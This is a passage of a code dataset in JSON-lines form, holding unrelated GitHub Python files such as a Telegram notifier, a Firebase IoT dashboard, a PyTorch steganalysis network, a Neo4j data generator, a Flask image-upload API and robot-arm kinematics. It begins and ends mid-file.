dst_chats))\n sys.exit(0)\n\nmessage = sys.stdin.read()[:-1]\n\n#check message len\nif len(message) > 4096:\n raise Exception(\"Len of the message is too big\")\n\n#check if subject passed\nif args.s:\n message = '%s\\n\\n%s'%(args.s, message)\n\n#process attachment\nif args.a:\n attachment = open(args.a, 'rb')\n attachment_name = re.search(r'[0-9a-zA-Z._-]*$', args.a).group(0)\n if not args.documentype:\n attachment_type = re.search(r'[a-z]*$', args.a).group(0)\n print(attachment_type)\n else:\n attachment_type = None\n images = ('jpg', 'png',)\n videos = ('mp4', 'gif')\n audio = ('mp3',)\n\n#send messages\nfor chat in dst_chats:\n bot.sendMessage(chat_id=chat, text=message, parse_mode='HTML')\n if args.a:\n attachment.seek(0)\n if attachment_type in images:\n bot.send_photo(chat_id=chat, photo=attachment, caption=attachment_name)\n \n elif attachment_type in videos:\n bot.send_video(chat_id=chat, video=attachment, caption=attachment_name)\n \n else:\n bot.sendDocument(chat_id=chat, document=attachment, filename=attachment_name)","repo_name":"Seal1998/tmail","sub_path":"tmail.py","file_name":"tmail.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10870383052","text":"import web\nimport pyrebase\nimport firebase_config as token \nimport app as app\nimport json\nimport random\n\nrender = web.template.render(\"mvc/views/user/\")\n\nclass Inicio:\n def GET(self):\n try:\n print(\"Inicio.GEt localId: \", web.cookies().get('localId'))\n if web.cookies().get('localId') == \"None\" :\n return web.seeother(\"/login\")\n elif web.cookies().get('localId') == None :\n return web.seeother(\"/login\")\n else:\n firebase = pyrebase.initialize_app(token.firebaseConfig)\n storage = firebase.storage()\n db = firebase.database()\n users = web.cookies().get('localId')\n name = db.child(\"users\").child(users).child(\"data_user\").get()\n url = storage.child(\"users\").child(users).child(\"data_user/profile.jpg\").get_url(users)\n print(name.val()['name'])\n return render.inicio(name, url)\n except Exception as error:\n print(\"Error Inicio.GET: {}\".format(error))\n def POST(self):\n try:\n firebase = pyrebase.initialize_app(token.firebaseConfig)\n db = firebase.database()\n formulario = web.input()\n widget = formulario.widget\n type = formulario.type\n if type == \"humedad\":\n b = random.randint(10000000, 19999999)\n c = random.randint(20000000, 29999999)\n widt = hex(b)\n widhm = hex(c)\n localId = web.cookies().get('localId')\n datat = {\n \"name\": widget,\n \"temperatura\": 0\n }\n datah = {\n \"name\": widget,\n \"humedad\": 0\n }\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"sensor\").child(type).child(\"temperatura\").child(widt).set(datat)\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"sensor\").child(type).child(\"humedad\").child(widhm).set(datah)\n return web.seeother(\"/inicio\")\n elif type == \"distancia\":\n b = random.randint(30000000, 40000000)\n wid = hex(b)\n localId = web.cookies().get('localId')\n data = {\n \"name\": widget,\n \"distancia\": 0\n }\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"sensor\").child(type).child(wid).set(data)\n return web.seeother(\"/inicio\")\n elif type == \"velocidad\":\n b = random.randint(50000000, 60000000)\n wid = hex(b)\n localId = web.cookies().get('localId')\n data = {\n \"name\": widget,\n \"velocidad\": 0\n }\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"sensor\").child(type).child(wid).set(data)\n return web.seeother(\"/inicio\")\n elif type == \"sonido\":\n b = random.randint(70000000, 80000000)\n wid = hex(b)\n localId = web.cookies().get('localId')\n data = {\n \"name\": widget,\n \"sonido\": 0\n }\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"sensor\").child(type).child(wid).set(data)\n return web.seeother(\"/inicio\")\n elif type == \"power\":\n b = random.randint(90000000, 100000000)\n wid = hex(b)\n localId = web.cookies().get('localId')\n data = {\n \"name\": widget,\n \"value\": 0,\n \"power\": \"Apagado\"\n }\n db.child(\"users\").child(localId).child(\"data_widget\").child(\"controlador\").child(type).child(wid).set(data)\n return web.seeother(\"/inicio\")\n else:\n return web.seeother(\"/inicio\")\n except Exception as error:\n print(\"Error Inicio.POST: {}\".format(error))","repo_name":"AdriLeon/Dashboar_IoT","sub_path":"mvc/controllers/user/inicio.py","file_name":"inicio.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7206272121","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 18 12:26:25 2020\n\n@author: abel\n\"\"\"\nfrom math import comb\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sympy as sym\nt=sym.Symbol('t')\ndef B_jn(j,n):\n return comb(n,j)*(t**j)*(1-t)**(n-j)\n\n\n\n\ndef curvaBezierBaseBernstein(coordenadax,coordenaday):\n if(len(coordenadax)!=len(coordenaday)):\n print(\"No es posible calcular la curva, revise los puntos\")\n print(\"ambas listas han de tener el mismo numero de puntos\")\n grado = len(coordenadax)\n BaseBernstein=[]\n for i in range(0,grado):\n BaseBernstein.append(B_jn(i,grado-1))\n coordenadaxEnBase=0\n coordenadayEnBase=0\n for i in range(0,grado):\n coordenadaxEnBase+=coordenadax[i]*BaseBernstein[i]\n coordenadayEnBase+=coordenaday[i]*BaseBernstein[i]\n z=np.linspace(0,1,100)\n x=[]\n y=[]\n for i in range(0,z.size):\n x.append(coordenadaxEnBase.subs(t,z[i]))\n y.append(coordenadayEnBase.subs(t,z[i]))\n plt.plot(x,y)\ncoordenadax=[0,1,-1,3]\ncoordenaday=[1,2,-3,0]\ncurvaBezierBaseBernstein(coordenadax, coordenaday)","repo_name":"arturocs/surface_interpolator_api","sub_path":"doc/CurvaBaseBernstein.py","file_name":"CurvaBaseBernstein.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6710900614","text":"import torch\nimport torch.nn as nn\nfrom config import cfg\n\n\nclass Block1(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(Block1, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n self.block = nn.Sequential(\n nn.Conv2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=self.out_channels),\n nn.ReLU(),\n )\n\n def forward(self, inputs):\n ans = self.block(inputs)\n # print('ans shape: ', ans.shape)\n return ans\n\n\nclass Block2(nn.Module):\n def __init__(self):\n super(Block2, self).__init__()\n self.block = nn.Sequential(\n nn.Conv2d(in_channels=16, out_channels=16, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=16),\n nn.ReLU(),\n nn.Conv2d(in_channels=16, out_channels=16, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=16),\n )\n\n def forward(self, inputs):\n ans = torch.add(inputs, self.block(inputs))\n # print('ans shape: ', ans.shape)\n return ans\n # return inputs + ans\n\n\nclass Block3(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(Block3, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n self.branch1 = nn.Sequential(\n nn.Conv2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=1, stride=2),\n nn.BatchNorm2d(num_features=self.out_channels),\n )\n self.branch2 = nn.Sequential(\n nn.Conv2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=self.out_channels),\n nn.ReLU(),\n nn.Conv2d(in_channels=self.out_channels, out_channels=self.out_channels, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=self.out_channels),\n nn.AvgPool2d(kernel_size=3, stride=2, padding=1),\n )\n\n def forward(self, inputs):\n ans = torch.add(self.branch1(inputs), self.branch2(inputs))\n # print('ans shape: ', ans.shape)\n return ans\n\n\nclass Block4(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(Block4, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n self.block = nn.Sequential(\n nn.Conv2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=self.out_channels),\n nn.ReLU(),\n nn.Conv2d(in_channels=self.out_channels, out_channels=self.out_channels, kernel_size=3, stride=1, padding=1),\n nn.BatchNorm2d(num_features=self.out_channels),\n )\n\n def forward(self, inputs):\n temp = self.block(inputs)\n ans = torch.mean(temp, dim=(2, 3))\n # print('ans shape: ', ans.shape)\n return ans\n\n\nclass Steganalyzer(nn.Module):\n def __init__(self, data_format='NCHW', init_weights=True):\n super(Steganalyzer, self).__init__()\n self.inputs = None\n self.outputs = None\n self.data_format = data_format\n\n # 第一种结构类型\n self.layer1 = Block1(3, 64)\n self.layer2 = Block1(64, 16)\n\n # 第二种结构类型\n self.layer3 = Block2()\n self.layer4 = Block2()\n self.layer5 = Block2()\n self.layer6 = Block2()\n self.layer7 = Block2()\n\n # 第三种类型\n self.layer8 = Block3(16, 16)\n self.layer9 = Block3(16, 64)\n self.layer10 = Block3(64, 128)\n self.layer11 = Block3(128, 256)\n\n # 第四种类型\n self.layer12 = Block4(256, 512)\n\n # 最后一层,全连接层\n self.layer13 = nn.Linear(512, 2)\n self.softmax = nn.Softmax(dim=1)\n if init_weights:\n self._init_weights()\n\n def forward(self, inputs):\n\n # 第一种结构类型\n x = self.layer1(inputs)\n x = self.layer2(x)\n\n # 第二种结构类型\n x = self.layer3(x)\n x = self.layer4(x)\n x = self.layer5(x)\n x = self.layer6(x)\n x = self.layer7(x)\n\n # 第三种类型\n x = self.layer8(x)\n x = self.layer9(x)\n x = self.layer10(x)\n x = self.layer11(x)\n\n # 第四种类型\n x = self.layer12(x)\n # 全连接层\n x = x.view(cfg.BATCH_SIZE, -1)\n x = self.layer13(x)\n x = self.softmax(x)\n # 最后一层全连接\n # self.outputs = self.layer13(x)\n # print('self.outputs.shape: ', self.outputs.shape)\n # final_logits = torch.mean(torch.sigmoid(x.view(cfg.BATCH_SIZE, -1)), 1)\n return x\n\n def _init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.2)\n if isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n if isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, 0, 0.01)\n nn.init.constant_(m.bias, 0.001)\n","repo_name":"chen22-x/StegGAN-master.","sub_path":"discriminator_em_SRNet.py","file_name":"discriminator_em_SRNet.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"74925671553","text":"import torchvision\r\nimport torchvision.transforms as T\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.data import sampler\r\n\r\n\r\ndef load_MNIST(batch_size, n_fold) :\r\n transform = T.Compose([\r\n T.ToTensor()\r\n ])\r\n\r\n dataset_train = torchvision.datasets.MNIST('dataset', train=True, download=True, transform=transform)\r\n dataset_test = torchvision.datasets.MNIST('dataset', train=False, download=True, transform=transform)\r\n\r\n train = DataLoader(dataset_train, batch_size=batch_size, sampler=sampler.SubsetRandomSampler(range(0, len(dataset_train) * (n_fold - 1) // n_fold)))\r\n val = DataLoader(dataset_train, batch_size=batch_size, sampler=sampler.SubsetRandomSampler(range(len(dataset_train) * (n_fold - 1) // n_fold, len(dataset_train))))\r\n test = DataLoader(dataset_test, batch_size=batch_size)\r\n\r\n return train, val, test\r\n","repo_name":"Aweseop/ViT","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71070326275","text":"from datetime import datetime\nfrom neo4j import GraphDatabase\nfrom random import randint, choice\nimport psycopg2\nimport json\nimport sys\n\namounts = int(sys.argv[1])\norders = []\n\nprint(f'generating {amounts} orders')\n\n####################################\n####### DATABASE CONNECTIONS #######\n####################################\n\n\ndef neo4j_query_get_items():\n driver = GraphDatabase.driver(\"bolt://localhost:7687\", auth=(\"neo4j\", \"1234\"))\n with driver.session() as session:\n query = '''\n MATCH(item: Item) return item\n '''\n results = session.run(query)\n\n return results\n\n####################################\n##### DATABASE CONNECTIONS END #####\n####################################\n\n\nresults = neo4j_query_get_items()\nformatted_items = [{'id': record['item'].id, 'name': record['item']['name'], 'price': record['item']['price']} for record in results]\n\n\ndef random_item_list():\n types = randint(1, 10)\n items = []\n result = []\n\n while len(items) < types:\n item = choice(formatted_items)\n\n if item not in items:\n items.append(item)\n\n for item in items:\n amount = randint(1, 5)\n result.append({\n 'item_id': item['id'],\n 'name': item['name'],\n 'price': item['price'],\n 'amount': amount,\n })\n\n return result\n\n\n# generating data\nfor n in range(amounts):\n items = random_item_list()\n\n order = {\n 'date': int(datetime.now().timestamp()) - randint(0, 2629743),\n 'user_id': randint(1, 10_000),\n 'items': items,\n 'discount': None,\n }\n\n orders.append(order)\n\n# saving to .json\nwith open('mongo-db/data/orders.json', 'w') as fp:\n json.dump(orders, fp, ensure_ascii=False)\n print(f'successfully added {len(orders)} orders to mongo-db/data/orders.json')\n","repo_name":"CBASoftwareDevolopment2020/DB-Exam","sub_path":"mongo-db/generate_orders.py","file_name":"generate_orders.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12414518372","text":"from typing import Any\nfrom django import forms\n\nfrom core.constants import ITEM_NAMES\nfrom .models import Order\n\n\nclass OrderForm(forms.ModelForm):\n class Meta:\n model = Order\n fields = \"__all__\"\n\n def __init__(self, *args, **kwargs):\n super(OrderForm, self).__init__(*args, **kwargs)\n\n # Iterate through all fields in the form and add the 'form-control' class\n for field_name, field in self.fields.items():\n field.widget.attrs[\"class\"] = \"form-control\"\n field.widget.attrs[\"id\"] = field_name\n field.widget.attrs[\"type\"] = \"text\"\n if field_name in ITEM_NAMES[1]:\n field.widget.attrs[\n \"style\"\n ] = \"width: 100%; padding: 0; padding-right: 0.3rem; text-align: right;\"\n","repo_name":"henishpatel9045/sweetDealerDataEntry","sub_path":"core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2731631970","text":"from dice_poker.color import Color\nfrom .game import Game\n\ndef run():\n game = Game.start_new_game()\n while not game.is_finished():\n print(\"\\n\".join([\" \".join([str(el) + \" \" for el in row]) for row in game.board.BOARD]))\n print(str(game.board))\n print(game.turn)\n input(\"enter to roll: \")\n \n game.roll()\n print(repr(game._dice))\n user_input = \"m\"\n while user_input == \"m\":\n user_input = input(\"m to mask, p to place: \")\n if user_input == \"m\":\n mask = []\n for i in range(5):\n mask.append(int(input(f\"keep(1) or roll(0) {i} die: \")))\n\n game.roll(mask)\n print(repr(game._dice))\n\n row = int(input(\"enter row: \"))\n col = int(input(\"enter col: \"))\n game.place_chip(row, col)\n game.turn = Color.BLUE if game.turn == Color.RED else Color.RED\n game.rolls = 0\n\n print(game.who_won())\n\n\nif __name__ == \"__main__\":\n run()","repo_name":"lorenpike/dice-poker","sub_path":"dice_poker/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34747737653","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 6 15:49:38 2019\n\n@author: Himanshu Rathore\n\"\"\"\nimport csv\nwith open('words.txt', mode='rt') as file, open('words_copy.txt', mode='wt') as file_copy:\n r = csv.reader(file, delimiter=':')\n w = csv.writer(file_copy, delimiter='\\t') \n for record in r:\n if len(record) > 1:\n w.writerow((record[0], record[2]))","repo_name":"himanshu2922t/FSDP_2019","sub_path":"DAY-04/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15654749863","text":"from django.core.exceptions import ValidationError\nfrom tests.core.test_cases import BookCenterTestCase\n\n\nclass EventModelTests(BookCenterTestCase):\n def test_event_model_when_title_contains_non_english_chars__expect_exception(self):\n self.event.title = 'Бълхичка'\n\n with self.assertRaises(ValidationError) as context:\n self.event.full_clean()\n self.event.save()\n\n self.assertIsNotNone(context.exception)\n\n def test_event_model_when_description_contains_non_english_chars__expect_exception(self):\n self.event.description = 'Това е просто описание'\n\n with self.assertRaises(ValidationError) as context:\n self.event.full_clean()\n self.event.save()\n\n self.assertIsNotNone(context.exception)\n\n def test_event_model_when_category_contains_non_english_chars__expect_exception(self):\n self.event.category = 'CaterorЯ'\n\n with self.assertRaises(ValidationError) as context:\n self.event.full_clean()\n self.event.save()\n\n self.assertIsNotNone(context.exception)\n","repo_name":"geodimitrov/Python-Web-Framework-SoftUni","sub_path":"book_center/tests/bc_events/models/test_event_model.py","file_name":"test_event_model.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19548140196","text":"# def run():\r\n# pass\r\n\r\n# if __name__ == '__main__':\r\n# run()\r\n\r\n# def run():\r\n# nombre = input('Escribe tu nombre: ')\r\n# for letrax in nombre:\r\n# print(letrax)\r\n# if __name__ == '__main__':\r\n# run()\r\n\r\n# for i in range(6):\r\n# if i == 5:\r\n# print(\"Figaroo00\")\r\n# break\r\n# print(\"Galileo\")\r\n\r\nmayusculas = ['A', 'B', 'c', 'D', 'E', 'F', 'G']\r\nminusculas = ['a', 'b', 'c', 'd', 'e', 'f', 'g']\r\nsimbolos = ['!', '#', '$', '&', '/', '(', ')']\r\nnumeros = ['2', '3', '4', '5', '6', '7', '8', '9', '0']\r\n\r\ncaracteres = mayusculas + minusculas + simbolos + numeros\r\n\r\nprint(caracteres)","repo_name":"jhangmez/curso-practico-python","sub_path":"recorrer.py","file_name":"recorrer.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72565347074","text":"'''\nDescription:\n\nGiven a linked list, swap every two adjacent nodes and return its head.\n\nYou may not modify the values in the list's nodes, only nodes itself may be changed.\n\n \n\nExample:\n\nGiven 1->2->3->4, you should return the list as 2->1->4->3.\n\n'''\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n\nclass Solution:\n def swapPairs(self, head: ListNode) -> ListNode:\n \n # corner case handling:\n # Empty list or list with one node just return itself\n if head is None or head.next is None:\n return head\n \n \n # general case:\n dummy_head = ListNode(0)\n previous = dummy_head\n \n \n # check linked list still has more than two nodes\n while head and head.next:\n \n # original_first is head\n \n # get original second\n original_second = head.next\n \n # major operation_#1\n # makes original first's next point to original_second'next\n head.next = original_second.next\n \n # major operation_#2\n # makes original_seconds's next point to original first\n original_second.next = head\n \n # major operation_#3\n # update previous' next as original second\n previous.next = original_second\n \n # update previous position\n previous = head\n \n # update head position\n head = head.next\n \n return dummy_head.next\n\n\n\n# N : total number of element in all lists\n\n # Time complexity\n # O( N ) \n # Each node pair swap take O(1) constant node operation\n # For N nodes, there are O(N//2) node pairs\n\n # To sum up, overall time complexity is O (N)\n\n\n # Space complexity\n # O( N ) for saving all elements in the form of linked list\n\n\n \n \ndef test_bench():\n\n head = ListNode(1)\n\n head.next = ListNode(2)\n\n head.next.next = ListNode(3)\n\n head.next.next.next = ListNode(4)\n\n head_of_solution = Solution().swapPairs( head )\n\n # print out solution\n current = head_of_solution\n while current is not None:\n\n print( current.val )\n\n current = current.next\n\n # expected output\n '''\n 2\n 1\n 4\n 3\n '''\n\n\n\n\nif __name__ == \"__main__\":\n\n test_bench()","repo_name":"brianchiang-tw/leetcode","sub_path":"No_0024_Swap Nodes in Pairs/swap_nodes_in_pairs_node operation.py","file_name":"swap_nodes_in_pairs_node operation.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"61"} +{"seq_id":"25637842829","text":"from django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\n\n\ndef send_contact_email(email, first, last, company, telephone, comment):\n c = {\n 'first': first,\n 'last': last,\n 'company': company,\n 'email': email,\n 'telephone': telephone,\n 'comment': comment\n }\n email_subject = \"New contact request recieved\"\n email_body = \"Firstname: \" + first + '\\nLastname: ' + last + '\\nCompany: ' + company + '\\nEmail Address: ' + email + '\\nTelephone: ' + telephone + '\\nComment: ' + comment\n email_html = render_to_string('information/email.html', c)\n msg = EmailMultiAlternatives(\n email_subject,\n email_body,\n \"backend@ekata.social\",\n [\"support@basicincomeproject.org\"]\n )\n msg.attach_alternative(email_html, \"text/html\")\n\n return msg.send()\n","repo_name":"nullc0der/ekataplatform","sub_path":"information/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38403477179","text":"import os\nfrom os import listdir\nimport cv2\n\n\nfrom flask import Flask, render_template, request\nfrom disease_detection import Disease_Detection\napp = Flask(__name__)\n\nUPLOAD_FOLDER = \"../queries\"\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n@app.route('/')\ndef first():\n return render_template('index.html')\n\n\n\n\n@app.route('/show', methods=['POST'])\ndef upload_file():\n file = request.files['image']\n\n f = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)\n # add your custom code to check that the uploaded file is a valid image and not a malicious file (out-of-scope for this post)\n file.save(f)\n\n image_name=Disease_Detection(UPLOAD_FOLDER)\n filenames = listdir(UPLOAD_FOLDER)\n a = [filename for filename in filenames if filename.endswith('.png')]\n\n for each in a:\n b = UPLOAD_FOLDER + \"/\" + each\n os.remove(b)\n return image_name\n\n\n\nif __name__ == \"__main__\":\n app.run(debug = True)","repo_name":"vishal-kr-yadav/Plant_Disease_Detection","sub_path":"flask_Api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14663339481","text":"import numpy as np\r\nfrom numpy import *\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom functions import forward_kinematics, Jacobian_2l2d, plots_2D, error_plots, peak_error_calc,plots_trackarm\r\nimport math\r\n\r\ndata_file = pd.read_csv(r'2 link planar.dat', sep=',', usecols=[1, 2, 3, 4])\r\n\r\ntheta_list = data_file['theta'].tolist()\r\nrad_theta_list = np.deg2rad(theta_list)\r\nprint(\"thetas:\", theta_list, rad_theta_list)\r\nl = []\r\nfor i in range(0, len(theta_list)):\r\n l.append(data_file.iloc[i][2])\r\nv = 60\r\nvelocity = [0, 0]\r\ninput_parameters = [200, 300, 0, 0.5, 0.01, v]\r\nloop_control = 1\r\ngoal = [input_parameters[0], input_parameters[1], input_parameters[2]]\r\nxc, yc, zc, _, _, CUM_POS = forward_kinematics(data_file, theta_list)\r\na = xc\r\nb = yc\r\nerror = [0, 0, 0]\r\neffector = [xc, yc, zc]\r\ntrack_arm = []\r\nerror[0] = goal[0] - effector[0]\r\nerror[1] = goal[1] - effector[1]\r\nerror[2] = goal[2] - effector[2]\r\nres_error = sqrt((error[0]**2) + (error[1]**2))\r\nt = res_error / v\r\nc = 0\r\niterations = []\r\ntime = [0]\r\nfinal_pos = [[0], [0]]\r\nvelocities = []\r\nwhile loop_control == 1:\r\n c += 1\r\n iterations.append(c)\r\n time.append(t+time[-1])\r\n xc, yc, zc, _, _, CUM_POS = forward_kinematics(data_file, theta_list)\r\n final_pos[0].append(xc)\r\n final_pos[1].append(yc)\r\n track_arm.append(CUM_POS)\r\n error = [0, 0, 0]\r\n effector = [xc, yc, zc]\r\n error[0] = goal[0] - effector[0]\r\n error[1] = goal[1] - effector[1]\r\n error[2] = goal[2] - effector[2]\r\n velocity[0] = (1/t) * error[0]\r\n velocity[1] = (1/t) * error[1]\r\n velocities.append(sqrt(velocity[0]**2 + velocity[1]**2))\r\n rad_theta_list = np.deg2rad(theta_list)\r\n if sqrt((error[0] ** 2) + (error[1] ** 2)) > input_parameters[4]:\r\n Jacobian = Jacobian_2l2d(rad_theta_list, l[0], l[1])\r\n theta_velocity = np.linalg.pinv(Jacobian) @ np.transpose(velocity)\r\n T = sqrt((error[0]**2) + (error[1]**2)) / sqrt(velocity[0]**2 + velocity[1]**2)\r\n del_t = T * input_parameters[3]\r\n for i in range(0, len(theta_list)):\r\n rad_theta_list[i] = rad_theta_list[i] + (del_t * theta_velocity[i])\r\n theta_list[i] = theta_list[i] + (del_t * np.rad2deg(theta_velocity[i]))\r\n print(theta_list)\r\n t = T\r\n else:\r\n loop_control = 0\r\n break\r\n\r\nprint(\"effector,c :\", effector, c)\r\nprint(\"\\n\\n time:\", time, len(time))\r\ntime.pop(0)\r\nprint(\"\\n velocities\", velocities)\r\n","repo_name":"thirumalaesh-a/2-link-arm-analysis","sub_path":"manipulability.py","file_name":"manipulability.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33432720455","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function, division, unicode_literals\n##\n## This file is part of MoaT, the Master of all Things.\n##\n## MoaT is Copyright © 2007-2016 by Matthias Urlichs ,\n## it is licensed under the GPLv3. See the file `README.rst` for details,\n## including optimistic statements by the author.\n##\n## This program is free software: you can redistribute it and/or modify\n## it under the terms of the GNU General Public License as published by\n## the Free Software Foundation, either version 3 of the License, or\n## (at your option) any later version.\n##\n## This program is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n## GNU General Public License (included; see the file LICENSE)\n## for more details.\n##\n## This header is auto-generated and may self-destruct at any time,\n## courtesy of \"make update\". The original is in ‘scripts/_boilerplate.py’.\n## Thus, do not remove the next line, or insert any blank lines above.\n##BP\n\nfrom moat.types.module import BaseModule\n\nPREFIX=(\"link\",\"raw\")\n\ndef key_parts(self,key):\n\t\"\"\"\\\n\t\tSplits the AMQP key into a (device, direction, channel*, stream) tuple.\n\n\t\t@device: tuple of device name components.\n\t\t\"in\", \"out\" and \"error\" are reserved.\n\n\t\t@direction: True(out)/False(in)/None(error).\n\n\t\t@channel: a possibly-empty sequence of channel numbers.\n\n\t\t@stream: the stream number.\n\t\t\"\"\"\n\tif isinstance(key,str):\n\t\tkey = key.split('.')\n\tif not isinstance(key,tuple):\n\t\tkey = tuple(key)\n\tif key[:len(self.PREFIX)] != self.PREFIX:\n\t\traise ValueError(key)\n\tkey = key[len(self.PREFIX):]\n\tfor i,k in enumerate(key):\n\t\tif k in {\"in\",\"out\",\"error\"}:\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\t\t\tif i == len(key)-1:\n\t\t\t\tbreak\n\t\t\trw = False if k == \"in\" else True if k == \"out\" else None\n\t\t\treturn key[:i],rw,tuple(int(x) for x in key[i+1:-1]), int(key[-1])\n\t\t\t\n\traise ValueError(key)\n\ndef key_build(self,device,direction,channel,stream):\n\t\"\"\"\\\n\t\tBuilds an AMQP key. Inverse of key_parts().\n\t\t\"\"\"\n\n\targs = list(self.PREFIX[:])\n\tif isinstance(device,str):\n\t\targs.append(device)\n\telse:\n\t\targs += list(device)\n\targs.append(\"error\" if direction is None else \"out\" if direction else \"in\")\n\tif channel:\n\t\targs += list(str(x) for x in channel)\n\targs.append(str(stream))\n\treturn '.'.join(args)\n\nclass LinkModule(BaseModule):\n \"\"\"\\\n This module connects MoaT modules to AMQP\n \"\"\"\n\n prefix = \"link\"\n summary = \"Link MoaT modules to AMQP\"\n \n @classmethod\n def entries(cls):\n yield from super().entries()\n # yield \"cmd_conn\",\"moat.ext.onewire.cmd.conn.ServerCommand\"\n yield \"cmd_ext\",\"moat.ext.link.cmd.LinkCommand\"\n # yield \"cmd_dev\",\"moat.ext.graph.cmd.GraphCommand\"\n # yield \"bus\",\"moat.ext.onewire.bus.OnewireBusBase\"\n # yield \"device\",\"moat.ext.extern.dev.ExternDeviceBase\"\n\n @classmethod\n def task_types(cls):\n \"\"\"Enumerate taskdef classes\"\"\"\n from moat.task import task_types as ty\n return ty('moat.ext.link.task')\n\n","repo_name":"M-o-a-T/moat-old","sub_path":"moat/ext/link/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71096791553","text":"from AthenaConfiguration.ComponentFactory import CompFactory\nimport AthenaCommon.SystemOfUnits as Units\n\ndef TRT_SeededTrackFinderCfg(flags, name='InDetTRT_SeededTrackFinder',\n InputCollections=None,\n **kwargs):\n\n # TRT seeded back tracking algorithm\n from BeamSpotConditions.BeamSpotConditionsConfig import BeamSpotCondAlgCfg\n acc = BeamSpotCondAlgCfg(flags)\n\n if flags.Tracking.ActiveConfig.usePixel:\n from InDetConfig.SiCombinatorialTrackFinderToolConfig import (\n SiDetElementBoundaryLinksCondAlg_xk_Pixel_Cfg)\n acc.merge(SiDetElementBoundaryLinksCondAlg_xk_Pixel_Cfg(flags))\n\n if flags.Tracking.ActiveConfig.useSCT:\n from InDetConfig.SiCombinatorialTrackFinderToolConfig import (\n SiDetElementBoundaryLinksCondAlg_xk_SCT_Cfg)\n 